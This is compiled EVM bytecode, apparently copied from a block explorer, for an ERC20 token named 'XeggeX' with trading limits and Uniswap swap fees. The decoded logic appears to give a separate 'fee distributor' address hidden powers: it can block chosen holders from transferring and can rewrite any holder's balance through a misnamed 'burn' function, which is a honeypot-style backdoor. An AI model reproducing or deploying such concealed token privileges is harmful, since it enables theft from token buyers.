00838311158290611ad9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad09190612923565b60405180910390fd5b5060008385611ae89190612c20565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5c90612a25565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611bec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be390612985565b60405180910390fd5b81601554611bfa9190612c20565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160106000828254611c4f9190612c20565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611cb49190612ae5565b60405180910390a3505050565b600080823b905060008111915050919050565b6000818311611ce35782611ce5565b815b905092915050565b6001601860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d4b577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d795781602001602082028036833780820191505090505b5090503081600081518110611db7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e5957600080fd5b505afa158015611e6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e9191906121d7565b81600181518110611ecb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f3230601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611114565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f96959493929190612b00565b600060405180830381600087803b158015611fb057600080fd5b505af1158015611fc4573d6000803e3d6000fd5b50505050506000601860156101000a81548160ff02191690831515021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561204f573d6000803e3d6000fd5b5050565b600061209583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a91565b905092915050565b60008082846120ac9190612bca565b9050838110156120f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e8906129c5565b60405180910390fd5b8091505092915050565b60008135905061210a81612d77565b92915050565b60008151905061211f81612d77565b92915050565b60008083601f84011261213757600080fd5b8235905067ffffffffffffffff81111561215057600080fd5b60208301915083602082028301111561216857600080fd5b9250929050565b60008135905061217e81612d8e565b92915050565b60008151905061219381612d8e565b92915050565b6000813590506121a881612da5565b92915050565b6000602082840312156121c057600080fd5b60006121ce848285016120fb565b91505092915050565b6000602082840312156121e957600080fd5b60006121f784828501612110565b91505092915050565b6000806040838503121561221357600080fd5b6000612221858286016120fb565b9250506020612232858286016120fb565b9150509250929050565b60008060006060848603121561225157600080fd5b600061225f868287016120fb565b9350506020612270868287016120fb565b925050604061228186828701612199565b9150509250925092565b6000806040838503121561229e57600080fd5b60006122ac858286016120fb565b92505060206122bd85828601612199565b9150509250929050565b6000806000604084860312156122dc57600080fd5b600084013567ffffffffffffffff8111156122f657600080fd5b61230286828701612125565b935093505060206123158682870161216f565b9150509250925092565b60006020828403121561233157600080fd5b600061233f84828501612184565b91505092915050565b60006123548383612360565b60208301905092915050565b61236981612c54565b82525050565b61237881612c54565b82525050565b600061238982612b85565b6123938185612ba8565b935061239e83612b75565b8060005b838110156123cf5781516123b68882612348565b97506123c183612b9b565b9250506001810190506123a2565b5085935050505092915050565b6123e581612c66565b82525050565b6123f481612ca9565b82525050565b600061240582612b90565b61240f8185612bb9565b935061241f818560208601612cbb565b61242881612d66565b840191505092915050565b6000612440602383612bb9565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006124a6601983612bb9565b91507f4578636565647320746865205f6d61785478416d6f756e742e000000000000006000830152602082019050919050565b60006124e6602283612bb9565b91507f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061254c602283612bb9565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006125b2601b83612bb9565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b60006125f2602083612bb9565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000612632602983612bb9565b91507f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008301527f7468616e207a65726f00000000000000000000000000000000000000000000006020830152604082019050919050565b6000612698602183612bb9565b91507f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008301527f73000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006126fe602583612bb9565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612764601a83612bb9565b91507f4578636565647320746865206d617857616c6c657453697a652e0000000000006000830152602082019050919050565b60006127a4602483612bb9565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061280a601783612bb9565b91507f74726164696e6720697320616c7265616479206f70656e0000000000000000006000830152602082019050919050565b600061284a601d83612bb9565b91507f43616c6c6572206973206e6f7420666565206469737472696275746f720000006000830152602082019050919050565b61288681612c92565b82525050565b61289581612c9c565b82525050565b60006020820190506128b0600083018461236f565b92915050565b60006040820190506128cb600083018561236f565b6128d8602083018461236f565b9392505050565b60006040820190506128f4600083018561236f565b612901602083018461287d565b9392505050565b600060208201905061291d60008301846123dc565b92915050565b6000602082019050818103600083015261293d81846123fa565b905092915050565b6000602082019050818103600083015261295e81612433565b9050919050565b6000602082019050818103600083015261297e81612499565b9050919050565b6000602082019050818103600083015261299e816124d9565b9050919050565b600060208201905081810360008301526129be8161253f565b9050919050565b600060208201905081810360008301526129de816125a5565b9050919050565b600060208201905081810360008301526129fe816125e5565b9050919050565b60006020820190508181036000830152612a1e81612625565b9050919050565b60006020820190508181036000830152612a3e8161268b565b9050919050565b60006020820190508181036000830152612a5e816126f1565b9050919050565b60006020820190508181036000830152612a7e81612757565b9050919050565b60006020820190508181036000830152612a9e81612797565b9050919050565b60006020820190508181036000830152612abe816127fd565b9050919050565b60006020820190508181036000830152612ade8161283d565b9050919050565b6000602082019050612afa600083018461287d565b92915050565b600060a082019050612b15600083018861287d565b612b2260208301876123eb565b8181036040830152612b34818661237e565b9050612b43606083018561236f565b612b50608083018461287d565b9695505050505050565b6000602082019050612b6f600083018461288c565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612bd582612c92565b9150612be083612c92565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612c1557612c14612d37565b5b828201905092915050565b6000612c2b82612c92565b9150612c3683612c92565b925082821015612c4957612c48612d37565b5b828203905092915050565b6000612c5f82612c72565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612cb482612c92565b9050919050565b60005b83811015612cd9578082015181840152602081019050612cbe565b83811115612ce8576000848401525b50505050565b6000612cf982612c92565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612d2c57612d2b612d37565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000601f19601f8301169050919050565b612d8081612c54565b8114612d8b57600080fd5b50565b612d9781612c66565b8114612da257600080fd5b50565b612dae81612c92565b8114612db957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209f4b8782eeb793c5b8c76ed69d71eba9a6cf0d29a6caebeb8109c0924c9ab9ef64736f6c63430008000033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101375760003560e01c80637d1db4a5116100b85780639f2d662b1161007c5780639f2d662b1461031c578063a9059cbb14610338578063bf474bed14610368578063c9567bf914610386578063dd62ed3e14610390578063e1480df5146103c057610137565b80637d1db4a5146102885780638da5cb5b146102a65780638f9a55c0146102c457806395d89b41146102e25780639dc29fac1461030057610137565b8063313ce567116100ff578063313ce567146101f65780636cd20f5e1461021457806370a0823114610244578063715018a614610274578063751039fc1461027e57610137565b806306fdde031461013c578063095ea7b31461015a5780630faee56f1461018a57806318160ddd146101a857806323b872dd146101c6575b600080fd5b6101446103dc565b6040516101519190612923565b60405180910390f35b610174600480360381019061016f919061228b565b610419565b6040516101819190612908565b60405180910390f35b610192610437565b60405161019f9190612ae5565b60405180910390f35b6101b061043d565b6040516101bd9190612ae5565b60405180910390f35b6101e060048036038101906101db919061223c565b610447565b6040516101ed9190612908565b60405180910390f35b6101fe610520565b60405161020b9190612b5a565b60405180910390f35b61022e600480360381019061022991906121ae565b610529565b60405161023b9190612908565b60405180910390f35b61025e600480360381019061025991906121ae565b61057f565b60405161026b9190612ae5565b60405180910390f35b61027c6105c8565b005b610286610720565b005b61029061081f565b60405161029d9190612ae5565b60405180910390f35b6102ae610825565b6040516102bb919061289b565b60405180910390f35b6102cc61084f565b6040516102d99190612ae5565b60405180910390f35b6102ea610855565b6040516102f79190612923565b60405180910390f35b61031a6004803603810190610315919061228b565b610892565b005b610336600480360381019061033191906121ae565b61092e565b005b610352600480360381019061034d919061228b565b610a61565b60405161035f9190612908565b60405180910390f35b610370610a7f565b60405161037d9190612ae5565b60405180910390f35b61038e610a85565b005b6103aa60048036038101906103a59190612200565b610f2c565b6040516103b79190612ae5565b60405180910390f35b6103da60048036038101906103d591906122c7565b610fb3565b005b60606040518060400160405280600681526020017f5865676765580000000000000000000000000000000000000000000000000000815250905090565b600061042d61042661110c565b8484611114565b6001905092915050565b60145481565b6000601054905090565b60006104548484846112df565b6105158461046061110c565b61051085604051806060016040528060288152602001612dbd60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c661110c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a919092919063ffffffff16565b611114565b600190509392505050565b60006009905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105d061110c565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461065f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610656906129e5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61072861110c565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ae906129e5565b60405180910390fd5b6016546011819055506016546012819055506016546013819055506016546014819055506016546015819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516108159190612ae5565b60405180910390a1565b60115481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b60606040518060400160405280600681526020017f5845474745580000000000000000000000000000000000000000000000000000815250905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610920576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091790612ac5565b60405180910390fd5b61092a8282611af5565b5050565b61093661110c565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bc906129e5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a1e57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610a75610a6e61110c565b84846112df565b6001905092915050565b60135481565b610a8d61110c565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b13906129e5565b60405180910390fd5b601860149054906101000a900460ff1615610b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6390612aa5565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610bf030601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601054611114565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610c5857600080fd5b505afa158015610c6c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c9091906121d7565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1457600080fd5b505afa158015610d28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4c91906121d7565b6040518363ffffffff1660e01b8152600401610d699291906128b6565b602060405180830381600087803b158015610d8357600080fd5b505af1158015610d97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dbb91906121d7565b601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e9a9291906128df565b602060405180830381600087803b158015610eb457600080fd5b505af1158015610ec8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eec919061231f565b506001601860166101000a81548160ff0219169083151502179055506001601860146101000a81548160ff02191690831515021790555043600781905550565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611041576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103890612ac5565b60405180910390fd5b60005b8383905081101561110657816005600086868581811061108d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906110a291906121ae565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806110fe90612cee565b915050611044565b50505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611184576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117b90612a85565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111eb906129a5565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112d29190612ae5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134690612a45565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b690612945565b60405180910390fd5b60008111611402576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f990612a05565b60405180910390fd5b600061140c610825565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114485760009050611881565b611450610825565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114be575061148e610825565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561188057601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561156e5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115c45750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156116915760115482111561160e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160590612965565b60405180910390fd5b6012548261161b8561057f565b6116259190612bca565b1115611666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165d90612a65565b60405180910390fd5b4360036007546116769190612bca565b11156116905761168583611cc1565b1561168f57600080fd5b5b5b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117395750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611797576012548261174b8561057f565b6117559190612bca565b1115611796576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178d90612a65565b60405180910390fd5b5b60006117a23061057f565b9050601860159054906101000a900460ff1615801561180e5750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156118265750601860169054906101000a900460ff165b8015611833575060135481115b80156118425750600e54600f54115b1561187e5761186461185f8461185a84601454611cd4565b611cd4565b611ced565b6000479050600081111561187c5761187b47611fe7565b5b505b505b5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156118d857600080fd5b61192a82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461205390919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119d1611983828461205390919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461209d90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611a76848661205390919063ffffffff16565b604051611a839190612ae5565b60405180910390a350505050565b6000838311158290611ad9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad09190612923565b60405180910390fd5b5060008385611ae89190612c20565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5c90612a25565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611bec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be390612985565b60405180910390fd5b81601554611bfa9190612c20565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160106000828254611c4f9190612c20565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611cb49190612ae5565b60405180910390a3505050565b600080823b905060008111915050919050565b6000818311611ce35782611ce5565b815b905092915050565b6001601860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d4b577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d795781602001602082028036833780820191505090505b5090503081600081518110611db7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e5957600080fd5b505afa158015611e6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e9191906121d7565b81600181518110611ecb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f3230601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611114565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f96959493929190612b00565b600060405180830381600087803b158015611fb057600080fd5b505af1158015611fc4573d6000803e3d6000fd5b50505050506000601860156101000a81548160ff02191690831515021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561204f573d6000803e3d6000fd5b5050565b600061209583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a91565b905092915050565b60008082846120ac9190612bca565b9050838110156120f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e8906129c5565b60405180910390fd5b8091505092915050565b60008135905061210a81612d77565b92915050565b60008151905061211f81612d77565b92915050565b60008083601f84011261213757600080fd5b8235905067ffffffffffffffff81111561215057600080fd5b60208301915083602082028301111561216857600080fd5b9250929050565b60008135905061217e81612d8e565b92915050565b60008151905061219381612d8e565b92915050565b6000813590506121a881612da5565b92915050565b6000602082840312156121c057600080fd5b60006121ce848285016120fb565b91505092915050565b6000602082840312156121e957600080fd5b60006121f784828501612110565b91505092915050565b6000806040838503121561221357600080fd5b6000612221858286016120fb565b9250506020612232858286016120fb565b9150509250929050565b60008060006060848603121561225157600080fd5b600061225f868287016120fb565b9350506020612270868287016120fb565b925050604061228186828701612199565b9150509250925092565b6000806040838503121561229e57600080fd5b60006122ac858286016120fb565b92505060206122bd85828601612199565b9150509250929050565b6000806000604084860312156122dc57600080fd5b600084013567ffffffffffffffff8111156122f657600080fd5b61230286828701612125565b935093505060206123158682870161216f565b9150509250925092565b60006020828403121561233157600080fd5b600061233f84828501612184565b91505092915050565b60006123548383612360565b60208301905092915050565b61236981612c54565b82525050565b61237881612c54565b82525050565b600061238982612b85565b6123938185612ba8565b935061239e83612b75565b8060005b838110156123cf5781516123b68882612348565b97506123c183612b9b565b9250506001810190506123a2565b5085935050505092915050565b6123e581612c66565b82525050565b6123f481612ca9565b82525050565b600061240582612b90565b61240f8185612bb9565b935061241f818560208601612cbb565b61242881612d66565b840191505092915050565b6000612440602383612bb9565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006124a6601983612bb9565b91507f4578636565647320746865205f6d61785478416d6f756e742e000000000000006000830152602082019050919050565b60006124e6602283612bb9565b91507f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061254c602283612bb9565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006125b2601b83612bb9565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b60006125f2602083612bb9565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000612632602983612bb9565b91507f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008301527f7468616e207a65726f00000000000000000000000000000000000000000000006020830152604082019050919050565b6000612698602183612bb9565b91507f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008301527f73000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006126fe602583612bb9565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612764601a83612bb9565b91507f4578636565647320746865206d617857616c6c657453697a652e0000000000006000830152602082019050919050565b60006127a4602483612bb9565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061280a601783612bb9565b91507f74726164696e6720697320616c7265616479206f70656e0000000000000000006000830152602082019050919050565b600061284a601d83612bb9565b91507f43616c6c6572206973206e6f7420666565206469737472696275746f720000006000830152602082019050919050565b61288681612c92565b82525050565b61289581612c9c565b82525050565b60006020820190506128b0600083018461236f565b92915050565b60006040820190506128cb600083018561236f565b6128d8602083018461236f565b9392505050565b60006040820190506128f4600083018561236f565b612901602083018461287d565b9392505050565b600060208201905061291d60008301846123dc565b92915050565b6000602082019050818103600083015261293d81846123fa565b905092915050565b6000602082019050818103600083015261295e81612433565b9050919050565b6000602082019050818103600083015261297e81612499565b9050919050565b6000602082019050818103600083015261299e816124d9565b9050919050565b600060208201905081810360008301526129be8161253f565b9050919050565b600060208201905081810360008301526129de816125a5565b9050919050565b600060208201905081810360008301526129fe816125e5565b9050919050565b60006020820190508181036000830152612a1e81612625565b9050919050565b60006020820190508181036000830152612a3e8161268b565b9050919050565b60006020820190508181036000830152612a5e816126f1565b9050919050565b60006020820190508181036000830152612a7e81612757565b9050919050565b60006020820190508181036000830152612a9e81612797565b9050919050565b60006020820190508181036000830152612abe816127fd565b9050919050565b60006020820190508181036000830152612ade8161283d565b9050919050565b6000602082019050612afa600083018461287d565b92915050565b600060a082019050612b15600083018861287d565b612b2260208301876123eb565b8181036040830152612b34818661237e565b9050612b43606083018561236f565b612b50608083018461287d565b9695505050505050565b6000602082019050612b6f600083018461288c565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612bd582612c92565b9150612be083612c92565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612c1557612c14612d37565b5b828201905092915050565b6000612c2b82612c92565b9150612c3683612c92565b925082821015612c4957612c48612d37565b5b828203905092915050565b6000612c5f82612c72565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612cb482612c92565b9050919050565b60005b83811015612cd9578082015181840152602081019050612cbe565b83811115612ce8576000848401525b50505050565b6000612cf982612c92565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612d2c57612d2b612d37565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000601f19601f8301169050919050565b612d8081612c54565b8114612d8b57600080fd5b50565b612d9781612c66565b8114612da257600080fd5b50565b612dae81612c92565b8114612db957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209f4b8782eeb793c5b8c76ed69d71eba9a6cf0d29a6caebeb8109c0924c9ab9ef64736f6c63430008000033

Deployed Bytecode Sourcemap

